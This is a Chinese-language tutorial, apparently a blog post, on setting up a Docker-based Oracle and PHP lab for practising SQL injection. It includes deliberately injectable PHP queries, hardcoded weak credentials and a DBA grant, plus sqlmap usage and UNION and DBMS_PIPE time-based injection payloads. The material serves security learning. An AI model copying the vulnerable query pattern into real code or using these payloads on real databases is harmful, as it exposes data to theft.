Oracle数据库SQL注入环境搭建
0x00 安装 Oracle
1使用Docker进行安装要下载的镜像较大, 建议 https://cr.console.aliyun.com/cn-qingdao/instances/mirrors
1https://s2vfan7w.mirror.aliyuncs.com2
31. 安装/升级Docker客户端4推荐安装1.10.0以上版本的Docker客户端,参考文档docker-ce5
62. 配置镜像加速器7针对Docker客户端版本大于 1.10.0 的用户8
9您可以通过修改daemon配置文件/etc/docker/daemon.json来使用加速器10
11sudo mkdir -p /etc/docker12sudo tee /etc/docker/daemon.json <<-'EOF'13{14 "registry-mirrors": ["https://s2vfan7w.mirror.aliyuncs.com"]15}16EOF17sudo systemctl daemon-reload18sudo systemctl restart docker更换源之后,直接pull Oracle镜像, 这里选择 https://github.com/MaksymBilenko/docker-oracle-12c 镜像。
1docker pull sath89/oracle-12c0x01 启动 Oracle
1docker run --name myoracle -d -p 8080:8080 -p 1521:1521 -e ORACLE_ALLOW_REMOTE=true -v /Users/hua/docker/Oracle:/u01/app/oracle sath89/oracle-12c1参数解释如下:2
3--name: 容器名字4-d:后台运行容器, 并返回容器ID5-p 本机端口:容器端口: 端口映射6-e ORACLE_ALLOW_REMOTE=true: 设置允许远程连接.7-v 本地目录:容器目录: 挂载本地目录, 将数据保留在本机来达到数据持久化的目的, 要不每次起的容器都是全新的.运行完上面的命令之后,需要等待容器初始化,可以通过下面命令查看进度。
1docker logs -f myoracle当最底下出现Database ready to use. Enjoy! ;)后代表初始化成功。
不知道为什么用上述办法导致创建的容易一直会闪退出,刚运行起来就关闭了,总之我用了下述方法,简单粗暴。
1docker run -it -d -p 8080:8080 -p 1521:1521 sath89/oracle-12c接下来进入容器:
1docker exec -it myoracle env LANG=C.UTF-8 /bin/bash进入容器这里用的也是简单粗暴:
1docker exec -it cranky_greider /bin/bash先创建sqlplus的软链接:
1ln -s $ORACLE_HOME/bin/sqlplus /usr/bin然后切换到oracle账户:
1su oracle连接Oracle:
1sqlplus / as sysdba
接下来新建一个表测试一下:
1create table student (2 xh number(4), -- 学号3 xm varchar2(20), -- 姓名4 sex char(2), -- 性别5 birthday date, -- 出生日期6 sal number(7,2) -- 奖学金7);
下面的一般测试持久化是由于会删除容器,我这里不删除所以不进行持久化了,至此, Oracle 安装完成!
0x02 apache-php-oracle
https://github.com/thomasbisignani/docker-apache-php-oracle
1docker pull thomasbisignani/docker-apache-php-oracle在本地新建一个测试php,其中的ip为本机的ip,端口为Oracle映射出来的端口。
1<?php2
3$username = 'system';4$password = 'oracle';5
6$connectText = '//10.1.239.138:1521/XE';7
8$conn = oci_connect($username, $password, $connectText);9if (!$conn) {10 $e = oci_error();11 echo 'Oracle connect failed <br />';12 exit($e['message']);13}14
15echo 'Oracle connect ok'."<br>";16?>
0x03 测试
1、创建数据表空间
1create tablespace pentest datafile '/u01/app/oracle/oradata/xe/pentest.dbf' size 100m;2、创建用户并指定表空间
1create user pentest identified by pentest default tablespace pentest;3、给用户授予权限因为是测试注入所以给权限
1grant connect,resource,dba to pentest;4、exit退出并以pentest登录
1$ORACLE_HOME/bin/sqlplus pentest/pentest
5、建表并插入数据
1 CREATE TABLE users (2 id number,3 name varchar(500),4 surname varchar(1000)5 );6
7 INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset');8 INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny');9 INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming');10 INSERT INTO users (id, name, surname) VALUES (4, 'sqlmap/1.0-dev (http://sqlmap.org)', 'user agent header');11 INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull');12 commit;这里我用的Navicat,连接Navicat的问题在文末有写,记得insert完要commit。

6、然后修改php文件如下:
1# 由于环境内没有vi和vim编辑器,只能通过docker cp进行传输文件2docker cp ./test.php 6ae0e91be12e:/var/www/html/1 <?php2 $username = 'pentest';3 $password = 'pentest';4 $connectText = '//10.1.239.138:1521/XE';5 $conn = oci_connect($username, $password, $connectText);6 if (!$conn) {7 $e = oci_error();8 echo 'Oracle connect failed <br />';9 exit($e['message']);10 }11 echo 'Oracle connect ok' . "<br>";12 // Prepare the statement13 if (!isset($_GET['id']) || $_GET['id'] == null) {14 echo "oracle sqlinjection test: oracle_test.php?id=1</br>";15 $stid = oci_parse($conn, "select * from USERS");16 } else {17 //SQL injection!!!!!!18 $stid = oci_parse($conn, "SELECT * FROM users where id=" . $_GET['id']);19 }20 if (!$stid) {21 $e = oci_error($conn);22 exit($e['message']);23 }24 // Perform the logic of the query25 $r = oci_execute($stid);26 if (!$r) {27 $e = oci_error($stid);28 exit($e['message']);29 }30 // Fetch the results of the query31 print "<table border='1'>\n";32 while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {33 print "<tr>\n";34 foreach ($row as $item) {35 $item = ($item !== null ? mb_convert_encoding($item, 'utf-8', 'gbk') : " ");36 print " <td>" . $item . "</td>\n";37 }38 print "</tr>\n";39 }40 print "</table>\n";41 oci_free_statement($stid);42 oci_close($conn);43 ?>

0x04 SQL注入环境
12.html2
3<!DOCTYPE html>4<html lang="en">5<head>6 <meta charset="UTF-8">7 <meta name="viewport" content="width=device-width, initial-scale=1.0">8 <title>User Query</title>9</head>10<body>11 <h1>User Query</h1>12 <form action="query.php" method="post">13 Enter User ID: <input type="text" name="user_id" required>14 <input type="submit" value="Query">15 </form>16</body>17</html>1query.php2
3<?php4// 获取用户输入的 ID5$user_id = $_POST['user_id'];6
7// 连接到 Oracle 数据库8$conn = oci_connect('pentest', 'pentest', '//10.1.239.138:1521/xe');9
10// 查询用户信息11$query = "SELECT * FROM users WHERE id = $user_id";12$stid = oci_parse($conn, $query);13oci_execute($stid);14
15// 显示查询结果16while ($row = oci_fetch_assoc($stid)) {17 echo "User ID: " . $row['USER_ID'] . "<br>";18 echo "Name: " . $row['NAME'] . "<br>";19 echo "SURNAME: " . $row['SURNAME'] . "<br>";20 // 添加其他用户信息字段21}22
23// 关闭连接24oci_free_statement($stid);25oci_close($conn);26?>
1# 如果访问2.html显示403错误,原因可能是文件权限没有设置可读2chmod 644 2.html3root@6ae0e91be12e:/var/www/html# ls -l4total 205-rw-r--r-- 1 root root 4 Dec 12 07:50 1.html6-rw-r--r-- 1 root root 1240 Dec 12 08:25 1.php7-rw-r--r-- 1 1000 1000 389 Dec 12 07:46 2.html8-rw-r--r-- 1 1000 1000 628 Dec 12 08:33 query.php9-rw-r--r-- 1 root root 292 Dec 12 09:05 test.php
1输入user_id = 1 or 1=1 时显示所有数据
1sqlmap2
3# 所有数据库4python3 sqlmap.py -r 1.txt -dbs
1select * from USERS where id = 1 UNION ALL SELECT NULL,CHR(113)||CHR(107)||CHR(106)||CHR(113)||CHR(113)||CHR(99)||CHR(84)||CHR(90)||CHR(117)||CHR(89)||CHR(104)||CHR(71)||CHR(89)||CHR(100)||CHR(115)||CHR(81)||CHR(115)||CHR(73)||CHR(110)||CHR(111)||CHR(70)||CHR(81)||CHR(102)||CHR(101)||CHR(66)||CHR(65)||CHR(83)||CHR(84)||CHR(110)||CHR(121)||CHR(105)||CHR(85)||CHR(121)||CHR(75)||CHR(78)||CHR(74)||CHR(116)||CHR(66)||CHR(80)||CHR(111)||CHR(100)||CHR(70)||CHR(105)||CHR(79)||CHR(80)||CHR(113)||CHR(112)||CHR(113)||CHR(98)||CHR(113),NULL FROM DUAL-- YGEl

在Navicat中为10秒
1select * from USERS where id = 1 AND 2228=DBMS_PIPE.RECEIVE_MESSAGE(CHR(116)||CHR(102)||CHR(67)||CHR(65),5)
0x05 小结
1# 启动 Oracle2docker run -it -d -p 8080:8080 -p 1521:1521 sath89/oracle-12c3
4# 启动 php5docker run -p 8090:80 -d -v /Users/hua/docker/sample:/var/www/html thomasbisignani/docker-apache-php-oracle6
7# 进入 Oracle 容器里面8docker exec -it cranky_greider /bin/bash9# 以 pentest身份 进入 Oracle 命令行10$ORACLE_HOME/bin/sqlplus pentest/pentest11
12# 浏览器访问13本机 ip:8090PS:使用Navicat连接Oracle
1映射出来的是1521端口,为Oracle数据库的连接端口1、连接时出现 cannot create oci handles
因为所使用的oci.dll的环境与服务器的Oracle版本不符。

我这里的版本是12.1.0,去Navicat目录下查看版本,我这里已经修改过了,之前是11.1.0。

可以去Oracle官网下载对应版本。
1https://www.oracle.com/database/technologies/instant-client/winx64-64-downloads.html

解压后将文件夹放在Navicat根目录下即可,然后引用这个版本的oci.dll环境,保存重启即可。

2、连接时出现 ORA-12514:TNS does not currently know of service requested in connect descriptor
这里是由于使用的服务名对应不上,Navicat连接Oracle的默认服务名为ORCL。
- 使用Oracle身份进入sql界面
sqlplus / as sysdba - 执行
show parameter names,显示的service_names对应的values就是navicat对应的服务名


连接成功。
部分信息可能已经过时